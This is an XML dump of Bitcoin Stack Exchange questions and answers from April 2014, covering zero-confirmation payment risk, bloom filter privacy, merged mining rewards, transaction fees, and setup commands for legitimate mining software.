  <row Id="24934" PostTypeId="2" ParentId="22384" CreationDate="2014-04-27T11:24:55.503" Score="0" Body="&lt;p&gt;The up and coming &lt;a href=&quot;http://www.safecoin.io/&quot; rel=&quot;nofollow&quot;&gt;Safecoin&lt;/a&gt; will reward users for donating their bandwith and harddrive space, so they'd be &quot;mining&quot; by just leaving their computers on and connected, being compensated in safecoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To a lesser extent, the way &lt;a href=&quot;http://www.nxtcommunity.org/nxt-coin/transparent-forging&quot; rel=&quot;nofollow&quot;&gt;forging in NXT&lt;/a&gt; works you also need to leave your computer turned on and connected the whole time so as to be taken into account for the raffle of who generates the next coin, though that doesn't ensure you'll receive any NXTcoins: since it's a 100% Proof-of-Stake coin the more coins you have the higher your probabilities of forging the next block.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-04-27T11:24:55.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24935" PostTypeId="2" ParentId="24932" CreationDate="2014-04-27T12:23:27.000" Score="3" Body="&lt;p&gt;Bitcoind will never make more than 8 outgoing connections. By default, it will allow up to 128 connections (see &lt;code&gt;-maxconnections&lt;/code&gt;), but that includes incoming ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Available connection slots of fully synchronized nodes are a limited resource on the network, so they shouldn't be wasted. As long as you have enough connections to be sure that at least one is not trying to attack you, you should have enough.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-04-27T12:23:27.000" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24936" PostTypeId="1" AcceptedAnswerId="24938" CreationDate="2014-04-27T14:19:16.840" Score="13" ViewCount="1640" Body="&lt;p&gt;I'm trying to setup a way of accepting Bitcoin payments in real life situations, where waiting for confirmations is typically not an option. I understand this is never 100% risk free (especially with crap like bitundo.com around), I just want to minimize the risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a Bitcoin Core wallet with a bunch of unused addresses. I show the customer an address, he sends the money, and now I can do a few things: (all automated, i.e. through some kind of application or script)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check if the (unconfirmed) transaction appears on my own node / in my wallet&lt;/li&gt;&#xA;&lt;li&gt;Check if the (unconfirmed) transaction appears on sites using online APIs like blockr.io and blockchain.info&lt;/li&gt;&#xA;&lt;li&gt;Check if I don't see a similar transaction (from the same input address, but to another output address, i.e. a double spend attempt) on either my node or API sites.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If 1 or 2 are OK and 3 doesn't occur for e.g. five to ten seconds, how (un)certain is the transaction at this point? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that payment providers like bitpay and coinbase can sort of accept payments immediately, how do they tell legit transactions from double spend attempts?&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2019-03-07T11:52:20.460" Title="How to minimize risk when accepting zero confirmation payments?" Tags="|wallet|blockchain|confirmations|payment|doublespend|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24937" PostTypeId="2" ParentId="24936" CreationDate="2014-04-27T15:13:31.553" Score="0" Body="&lt;p&gt;First of all and most important: do only business with people you trust. That does not mean that you have to have known them for a long period of time, but only that the person that is doing business with you is more likely to optimize his profit if he does not scam you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure about the odds of successfully launching a double spend attack after a x seconds wait, but what you can do is write some software that connects to some of the major mining pools and waits if your transaction (or a malicious double spend attempt transaction) shows up. It would be great if mining pools had a web API for checking which transactions are likely to get included in their next block, but unfortunately they don't. That means that you would have to program such application yourself (I do not know of any existing libraries with this functionality, but enlighten me if they exist).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you could always work with &lt;a href=&quot;https://en.bitcoin.it/wiki/Green_address&quot; rel=&quot;nofollow&quot;&gt;green addresses&lt;/a&gt;. If your partner agrees in trusting some third party, transactions can be cleared instantaneous.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-04-27T15:13:31.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24938" PostTypeId="2" ParentId="24936" CreationDate="2014-04-27T15:36:53.253" Score="6" Body="&lt;p&gt;From&#xA;&lt;a href=&quot;http://www.cryptocoinsnews.com/news/the-mathematically-secure-way-to-accept-zero-confirmation-transactions/2014/02/13&quot; rel=&quot;noreferrer&quot;&gt;http://www.cryptocoinsnews.com/news/the-mathematically-secure-way-to-accept-zero-confirmation-transactions/2014/02/13&lt;/a&gt;, here is what services like MyCelium and BitPay may be doing:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;More specifically, with every additional second a larger percentage of active Bitcoin nodes will have heard the original transaction and everyone viewing the blockchain can be increasingly certain that the transaction will be mined in the next block and receive one confirmation, then two, and so on and so forth.&lt;/p&gt;&#xA;&lt;p&gt;What this means is that any Bitcoin transaction can be accepted with zero confirmations with a mathematically derived confidence level some refer to as “Transaction Confidence.”  This transaction confidence measure assures us that even if a double spend were attempted the original and correct transaction is already too heavily propagated to be overtaken.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But as you aptly noted, there is no 100% risk-free way of being able to do this if you don't trust the sender.  That's why the blockchain exists in the first place.&lt;/p&gt;&#xA;&lt;p&gt;One risk of relying on &amp;quot;transaction confidence&amp;quot; is that there's nothing in the network that prevents someone from submitting a double-spend transaction directly to the miners, without broadcasting it to the network as a whole, under the agreement that any blocks that those miners find should pick their secret one instead of the one they broadcast to the network.  This is a risk no matter how much of the network sees the public transaction, which is one of the reasons why you can't have 100% confidence in a transaction that has never made it into a block.&lt;/p&gt;&#xA;&lt;p&gt;In particular, if you accept a 0-confirmation transaction that spends inputs from other 0-confirmation transactions, the risk is much greater, because either the transaction directly to you &lt;strong&gt;or&lt;/strong&gt; any of its 0-confirmation inputs could be double-spent, to your detriment.&lt;/p&gt;&#xA;&lt;p&gt;Frankly, even 1-confirmation transactions aren't risk-free.  Even under normal circumstances, blocks get orphaned, which could create a window for double-spending, because the winning branch may not resolve the transactions the way that the losing branch did.&lt;/p&gt;&#xA;&lt;p&gt;If you're serious about trying to minimize the risks of accepting BTC in &amp;quot;real-life&amp;quot; (a.k.a., brick-and-mortar) situations where speed is important, I can't think of a better idea than going with a service like Coinbase (no affiliation).  Those services operate on a scale where they can afford to eat losses from double-spends, which should be rare, so that you don't have to worry about it.  Currently, they have an economic incentive to increase adoption of the currency by being very attractive to merchants who choose to do so.&lt;/p&gt;&#xA;" OwnerUserId="14109" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-27T15:51:33.453" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="24940" PostTypeId="1" CreationDate="2014-04-27T18:37:54.837" Score="6" ViewCount="336" Body="&lt;p&gt;As far as I understand it, bloom filters can be defined with some target hashes and false-positive rate. When filtering the blockchain, all of the target transactions are guaranteed to be found, but many false-positives will also be returned to the client by design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that an attacker is able to monitor many bloom filter specifications sent by an SPV client to its peers. Will he be able to eventually eliminate all false positives by performing subset matching on all transactions matching the filters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, let the set of all transactions be the integers from 1 to 100, and suppose that a client is interested in the transactions 4, 8 and 15. The first time he connects to the network, he transmits a bloom filter matching (1, 4, 7, 8, 15, 27, 44, 73); the second time, his filter matches (3, 4, 6, 8, 15, 27, 66). An attacker would immediately be able to narrow the possible transactions down to (4, 8, 15, 27); after several more invocations, he would then find the correct answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I misunderstanding how bloom filters work (e.g. the false positives do not change between connections), or is this a theoretical or even practical concern?&lt;/p&gt;&#xA;" OwnerUserId="4607" LastActivityDate="2015-10-18T22:49:36.857" Title="Do bloom filters protect against a persistent eavesdropper?" Tags="|privacy|spv|bip37-bloom-filter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24941" PostTypeId="2" ParentId="24940" CreationDate="2014-04-27T19:25:38.177" Score="1" Body="&lt;p&gt;Yes, you are misunderstanding how vanilla/canonical bloom filters work. For the standard definition, false positives do not change between connections - the set returned on a second request, if different, will be a superset of the first set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, vanilla bloom filters are not used as solutions to security/eaves dropping problems - they're a computation vs. disk access tradeoff optimization (I think of them as a subset of caching algorithms). You might use a local bloom filter to check whether a given url is malicious, to avoid making an expensive network call/lookup on each url access, and only make the network call when you get a positive response.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That said, there are techniques to make bloom filter like structures, which are more robust/have stronger security-characteristics. I don't believe any of them have been applied to bitcoin implementations.&lt;/p&gt;&#xA;" OwnerUserId="2731" LastActivityDate="2014-04-27T19:25:38.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24942" PostTypeId="1" CreationDate="2014-04-27T21:42:28.893" Score="0" ViewCount="88" Body="&lt;p&gt;How does one find companies or stores that accept Bitcoin in the US?&lt;/p&gt;&#xA;" OwnerUserId="15497" LastEditorUserId="2995" LastEditDate="2014-05-05T14:54:26.180" LastActivityDate="2014-05-05T14:54:26.180" Title="How does one find places that accept Bitcoin in the US?" Tags="|marketplace|" AnswerCount="1" CommentCount="3" ClosedDate="2014-04-30T03:52:50.080" ContentLicense="CC BY-SA 3.0" />
  <row Id="24944" PostTypeId="2" ParentId="22635" CreationDate="2014-04-27T22:48:13.160" Score="2" Body="&lt;p&gt;Setup a txt file and name it 42mine.bat in your pooler cpu directory (make sure when you save the file, click all files and then save)&#xA;copy this into your bat file&#xA;minerd --url=stratum+tcp://42.coinpool.de:1042 --userpass=my.Worker:Password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replacing my.Worker with your workers name and Password with your Password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then save the bat file, again make sure it is with the all files option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can actually do this with all scrypt coins, saving each bat file under the specific coin.&lt;/p&gt;&#xA;" OwnerUserId="15498" LastEditorUserId="1891" LastEditDate="2014-04-28T04:00:40.553" LastActivityDate="2014-04-28T04:00:40.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24947" PostTypeId="1" AcceptedAnswerId="24962" CreationDate="2014-04-28T04:34:10.520" Score="3" ViewCount="4640" Body="&lt;p&gt;I guess there is no limit. But on tests, what is the maximum before the bitcoind start to slow down in a specific machine?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2014-04-28T22:58:49.797" LastActivityDate="2014-04-28T23:49:38.690" Title="What is the maximum of receive addresses the default wallet can handle?" Tags="|bitcoind|client|address|receiving|address-generation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24948" PostTypeId="1" AcceptedAnswerId="34031" CreationDate="2014-04-28T06:52:12.320" Score="2" ViewCount="267" Body="&lt;p&gt;With reference to this:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#Pay-to-PubkeyHash&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions#Pay-to-PubkeyHash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would seem the claim script is simply the signature consisting of S and R and the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I know at least the signature gets DER encoded, which is fine I found a library for that, but I don't know the details. For instance is it:&#xA;DER(S,R)+pubkey, DER(R,S)+pubkey or DER(S+R+pubkey) and so on, there are many permutations etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something like this where you can see what each byte is supposed to be:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14475" LastActivityDate="2014-12-14T02:54:07.153" Title="What is the format of the standard claim script?" Tags="|transactions|script|raw-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24949" PostTypeId="2" ParentId="24948" CreationDate="2014-04-28T10:06:11.253" Score="0" Body="&lt;p&gt;For Pay-to-Pubkey Hash, the standard claim script is two &quot;push data&quot; operations:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Signature: Approximately 71-bytes of DER-encoded sequence of R followed by S, then one additional byte for the &lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG#Hashtype_SIGHASH_ALL_.28default.29&quot; rel=&quot;nofollow&quot;&gt;hashtype&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The public key that hashes to the value specified by the previous output and is also used during signature verification.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14109" LastActivityDate="2014-04-28T10:06:11.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24950" PostTypeId="1" CreationDate="2014-04-28T10:08:34.660" Score="-1" ViewCount="72" Body="&lt;p&gt;How do I support trading for multiple crypto coins? Is that possible to create buy or sell offer using bitcoin daemon? &lt;/p&gt;&#xA;" OwnerUserId="12634" LastEditorUserId="15412" LastEditDate="2014-04-28T10:38:25.317" LastActivityDate="2014-04-28T10:38:25.317" Title="How can I create buy offer and sell offer using bitcoin daemon?" Tags="|bitcoind|trading|currencies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24951" PostTypeId="2" ParentId="24950" CreationDate="2014-04-28T10:33:03.537" Score="1" Body="&lt;p&gt;Yes you can. There are multiple websites (such as &lt;a href=&quot;https://www.kraken.com/&quot; rel=&quot;nofollow&quot;&gt;kraken&lt;/a&gt;, &lt;a href=&quot;https://btc-e.com/&quot; rel=&quot;nofollow&quot;&gt;btc-e&lt;/a&gt; and &lt;a href=&quot;https://www.cryptsy.com/&quot; rel=&quot;nofollow&quot;&gt;cryptsy&lt;/a&gt;) which support API, where you can trade altcoins for BTC or USD/EUR. I am not sure what you mean with a bitcoin daemon, but I think you mean a script or something like that. You can use multiple programming languages  to use the API, as shown on this example page on &lt;a href=&quot;https://www.kraken.com/help/api#example-api-code&quot; rel=&quot;nofollow&quot;&gt;kraken&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you got something working, you can trade anything you want, as long as there is a market on the specific exchange site you are using. Good luck! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&#xA;Ahh I see now what bitcoind is. Of course you can implement this in your script to use for your market strategy, but I don't think you can buy or sell directly from there, as it is not connected to an exchange site.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-04-28T10:33:03.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24952" PostTypeId="2" ParentId="24866" CreationDate="2014-04-28T11:39:11.917" Score="2" Body="&lt;p&gt;main.cpp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int64_t GetBlockValue(int nHeight, int64_t nFees)&#xA;{&#xA;    int64_t nSubsidy = 50 * COIN;&#xA;&#xA;    // Subsidy is cut in half every 210,000 blocks which will occur approximately every 4 years.&#xA;    nSubsidy &amp;gt;&amp;gt;= (nHeight / Params().SubsidyHalvingInterval());&#xA;&#xA;    return nSubsidy + nFees;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;miner.cpp (within CreateNewBlock):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pblock-&amp;gt;vtx[0].vout[0].nValue = GetBlockValue(pindexPrev-&amp;gt;nHeight+1, nFees);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14109" LastActivityDate="2014-04-28T11:39:11.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24953" PostTypeId="1" AcceptedAnswerId="24954" CreationDate="2014-04-28T12:20:48.190" Score="1" ViewCount="120" Body="&lt;p&gt;I'm a bit confused by the commissions. My understanding is there should be none in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a friend of mine told me miners get a cut. What does this mean? I want to learn how much commission I pay to the miners. Could you please tell it in detail and tell me where I can see it?&lt;/p&gt;&#xA;" OwnerUserId="15501" LastEditorUserId="5406" LastEditDate="2016-04-10T10:21:01.370" LastActivityDate="2016-04-10T10:21:01.370" Title="Who do i see the commissions taken by miners?" Tags="|transactions|transaction-fees|mining-reward|" AnswerCount="1" CommentCount="0" ClosedDate="2014-05-02T09:58:41.753" ContentLicense="CC BY-SA 3.0" />
  <row Id="24954" PostTypeId="2" ParentId="24953" CreationDate="2014-04-28T12:42:57.943" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Transaction fees&lt;/em&gt; on the Bitcoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The transaction fee is processed by and received by the bitcoin miner. When a new bitcoin block is generated with a successful hash, the information for all of the transactions is included with the block and all transaction fees are collected by that user creating the block, who is free to assign those fees to himself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So yes, the fee is collected by the miner of the discovered block. If you look to a random block on the &lt;a href=&quot;https://blockchain.info/en/block-index/403421/0000000000000000764cb9eb442741563db0273515d808cf531aad4e6ed9d0d5&quot; rel=&quot;nofollow&quot;&gt;blockchain site&lt;/a&gt; you see that the fees are &lt;code&gt;0.03334571&lt;/code&gt; BTC (in that specific block). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction fee you pay could be different depending on which wallet software you use. For example the fee from &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_whatIsTheTransactionFee.html&quot; rel=&quot;nofollow&quot;&gt;multibit&lt;/a&gt; is &lt;code&gt;0.0001&lt;/code&gt; BTC. You can also pay no fees, but then there is a chance that your transaction takes a lot of blocks to be included in the blockchain. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="267" LastEditDate="2014-04-28T17:06:40.320" LastActivityDate="2014-04-28T17:06:40.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24955" PostTypeId="1" AcceptedAnswerId="24958" CreationDate="2014-04-28T13:06:55.893" Score="2" ViewCount="1120" Body="&lt;p&gt;How do you claim a block reward on a merged chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understood it right: let's say you are mining Bitcoin and Namecoin. When you find the solution to a BTC block, you include a transaction in the block to give you a block reward.&#xA;If the hash of this block is also a solution for the Namecoin chain, where is the transaction giving you the Namecoin block reward? Where is the Namecoin address getting this reward? Or are Bitcoin addresses also valid Namecoin addresses?&#xA;And if you are only mining Bitcoin, can you claim the Namecoin block reward for a solved Bitcoin block afterwards?&lt;/p&gt;&#xA;" OwnerUserId="14210" LastEditorUserId="5406" LastEditDate="2016-01-22T22:28:24.193" LastActivityDate="2016-01-22T22:28:24.193" Title="How are block rewards claimed in merged mining?" Tags="|namecoin|mining-reward|merged-mining|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24957" PostTypeId="1" AcceptedAnswerId="24989" CreationDate="2014-04-28T16:57:36.110" Score="1" ViewCount="169" Body="&lt;p&gt;From what I understand, CREATING a block to confirm or verify transactions is hard work, and is rewarded with 25 bitcoins, or something like $12,325 (depending on the daily exchange rate). But how do the economics change afterward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a case of &quot;high fixed costs (to create the block), low variable costs (to follow the path of a particular set of bitcoins)? Suppose you take a single bitcoin and carve it up for numerous smaller transactions? Is this economically feasible because the forward-going costs are low after you've absorbed your fixed costs creating the block? Or is this kind of transaction where confirming it is likely to cost more than the transaction is worth? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; In searching the literature on the site, what is described in the paragraph 2 appears to be the case. This &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24842/if-you-confirm-others-transactions-what-do-you-do-to-earn-25-bitcoins-per-bloc&quot;&gt;link&lt;/a&gt;, explains how a person earns 25 bitcoins creating a block. What does a person do to earn the .03334571 bitcoins (about $16) as a commission in this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24953/who-do-i-see-the-commissions-taken-by-miners&quot;&gt;link?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-04-29T22:33:49.023" Title="What are the economics of confirming a block of transactions?" Tags="|economic-theory|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24958" PostTypeId="2" ParentId="24955" CreationDate="2014-04-28T18:26:57.507" Score="3" Body="&lt;p&gt;The point of mining is to secure the blockchain. Before you mine, you must compose the block you are trying to find a nonce for. That block will include a transaction to pay you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are merged mining Bitcoin and Namecoin, you do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You compose the Namecoin block you are trying to find a nonce for. This includes a transaction to pay you the finder's fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You compose the Bitcoin block you are trying to find a nonce for. This includes a transaction to pay you the finder's fee and a transaction to secure the Namecoin block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Now you try to find a nonce. If it meets the Bitcoin difficulty, you've mined a Bitcoin block. If it meets the Namecoin difficulty, you've mined a Namecoin block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You submit a Bitcoin block the normal way. The information from the Namecoin block is ignored by the Bitcoin system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You submit a Namecoin block along with enough information from the Bitcoin block and Merkle tree to prove that the nonce secures the Namecoin block.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-04-28T18:26:57.507" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24959" PostTypeId="1" AcceptedAnswerId="24969" CreationDate="2014-04-28T21:39:14.213" Score="0" ViewCount="12806" Body="&lt;p&gt;I'm a total noob regarding bitcoin mining, I've installed cgminer using apt-get install but I can't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start it with this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./cgminer  -o stratum+tcp://www.albamine.net:3333 -u Weblogin.WorkerName -p WorkerPassword&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I followed &lt;a href=&quot;http://www.albamine.net/index.php?page=gettingstarted&quot; rel=&quot;nofollow noreferrer&quot;&gt;these instructions&lt;/a&gt;:  (I'm mining for scotcoin.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Install Ubuntu&lt;/li&gt;&#xA;  &lt;li&gt;Install updates&lt;br&gt;&#xA;  &lt;code&gt;sudo apt-get update&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Install updates for your graphics card&lt;/li&gt;&#xA;  &lt;li&gt;Install misc packages&lt;br&gt;&#xA;  &lt;code&gt;sudo apt-get install gedit git libcurl4-openssl-dev libncurses5-dev pkg-config automake yasm&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Edit grub configuration&lt;br&gt;&#xA;  &lt;code&gt;sudo gedit /etc/default/grub&lt;/code&gt;&lt;br&gt;&#xA;  Edit &lt;code&gt;GRUB_TIMEOUT=10&lt;/code&gt; to &lt;code&gt;GRUB_TIMEOUT=&quot;10&quot;&lt;/code&gt;&#xA;  &lt;code&gt;sudo update-grub&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Download &lt;a href=&quot;http://developer.amd.com/tools/heterogeneous-computing/amd-accelerated-parallel-processing-app-sdk/#one&quot; rel=&quot;nofollow noreferrer&quot;&gt;ATI OpenCL drivers&lt;/a&gt;. Untar it and run the script inside.&lt;/li&gt;&#xA;  &lt;li&gt;Reboot.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;code&gt;git clone git://github.com/ckolivas/cgminer&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Download the &lt;a href=&quot;http://developer.amd.com/tools-and-sdks/graphics-development/display-library-adl-sdk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ADL SDK&lt;/a&gt;. Unzip it. Copy the include directory into cgminer, and name it ADL_SDK&lt;/li&gt;&#xA;  &lt;li&gt;Check dependencies for cgminer.&#xA;  &lt;code&gt;cd ~/cgminer&lt;/code&gt;&#xA;  &lt;code&gt;./autogen.sh&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Create the build script:&#xA;  &lt;code&gt;CFLAGS=&quot;-O2 -Wall -march=native -I /opt/AMDAPP/include/&quot; LDFLAGS=&quot;-L/opt/AMDAPP/lib/x86_64&quot; ./configure&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;code&gt;make&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Run using&#xA;  &lt;code&gt;export DISPLAY=:0; export GPU_USE_SYNC_OBJECTS=1; ./cgminer -n&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first few times I tried I got an error that repeatedly said:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;KnC spiL Can not open SPI device /dev/spidev1.0: No such file or directory.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NowI'm getting a terminal that looks like this, and I have no idea. I've googled select sections of the code but can't figure out what it's all about. Any suggestions would be gratefully received. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4trs0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info. Running Ubuntu 14:04 on a System 76 Galago Ultra pro.&lt;/p&gt;&#xA;" OwnerUserId="15503" LastEditorUserId="2306" LastEditDate="2014-10-10T16:04:45.367" LastActivityDate="2014-10-10T16:04:45.367" Title="Help running cgminer on Ubuntu 14.04 - waiting for USB hotplug devices, and other errors" Tags="|cgminer|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24960" PostTypeId="2" ParentId="17709" CreationDate="2014-04-28T22:03:47.127" Score="-1" Body="&lt;p&gt;i have blockchain.info &quot;My Wallet&quot; wallet on iphone. i didn't pay any attention to it for about a month until a couple of days ago. when i opened the app it showed a balance of 0.00 BTC. A momentary shock. Then i noticed that the &quot;identifier&quot; i.e., the string of letters and numbers in the top field. This is your public key for that block. For some reason in its wisdom blockchain created a new identifier that now by default fills the identifier field, whereas my old correct identifier used to show in that field, and a positive BTC balance associated with that idedentifier showed as well. Now when I hand enter the old correct identifier, it shows my correct BTC balance. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I do not appreciate having the functionality of the app change like that without notice to me first.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Contacting support from blockchain is impossible if there is any support from blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To answer your question: hand enter your original identifier and your correct account will show. I have no idea why they change one's identifier. &lt;/p&gt;&#xA;" OwnerUserId="15505" LastActivityDate="2014-04-28T22:03:47.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24961" PostTypeId="1" CreationDate="2014-04-28T22:58:19.773" Score="2" ViewCount="530" Body="&lt;p&gt;I spent last weekend learning all about Bitcoin and am excited to use them to purchase some web-based services. But alas I'm stumbling on the most fundamental part: how do I buy them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I paid cash for a pre-paid VISA this morning, bound that card to a PayPal account, and was psych'd to start buying coins, but was bummed to discover that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) PayPal wants to charge me a $14 fee to transfer $500 to a seller (rip off!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) No seller wants to use PayPal because the buyer has the ability to nix the payment retroactively using a &quot;charge back&quot; (strange that they'd allow people to do this, but ok)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) This forum indicates that #1 and #2 are moot anyway because PayPal's terms of service don't allow for BTC purchases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, I blew it. But what are my alternatives? I could use a bank account via an online exchange but that requires a lot of legal documentation and philosophically flies in the face of the whole &quot;anonymity&quot; feature of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of people are doing face to face transactions via a localized transaction match-making service. Is this really the way to go? Seems like that would make sense if you were transacting $50-$100 but what if you wanted to do $5k-$10k? I'm not Walter White. I don't have fat stacks of cash laying around. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other alternatives do I have to purchase bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="15471" LastActivityDate="2014-04-29T00:21:13.940" Title="How do I buy bitcoins in USA?" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="4" ClosedDate="2014-05-10T14:59:27.960" ContentLicense="CC BY-SA 3.0" />
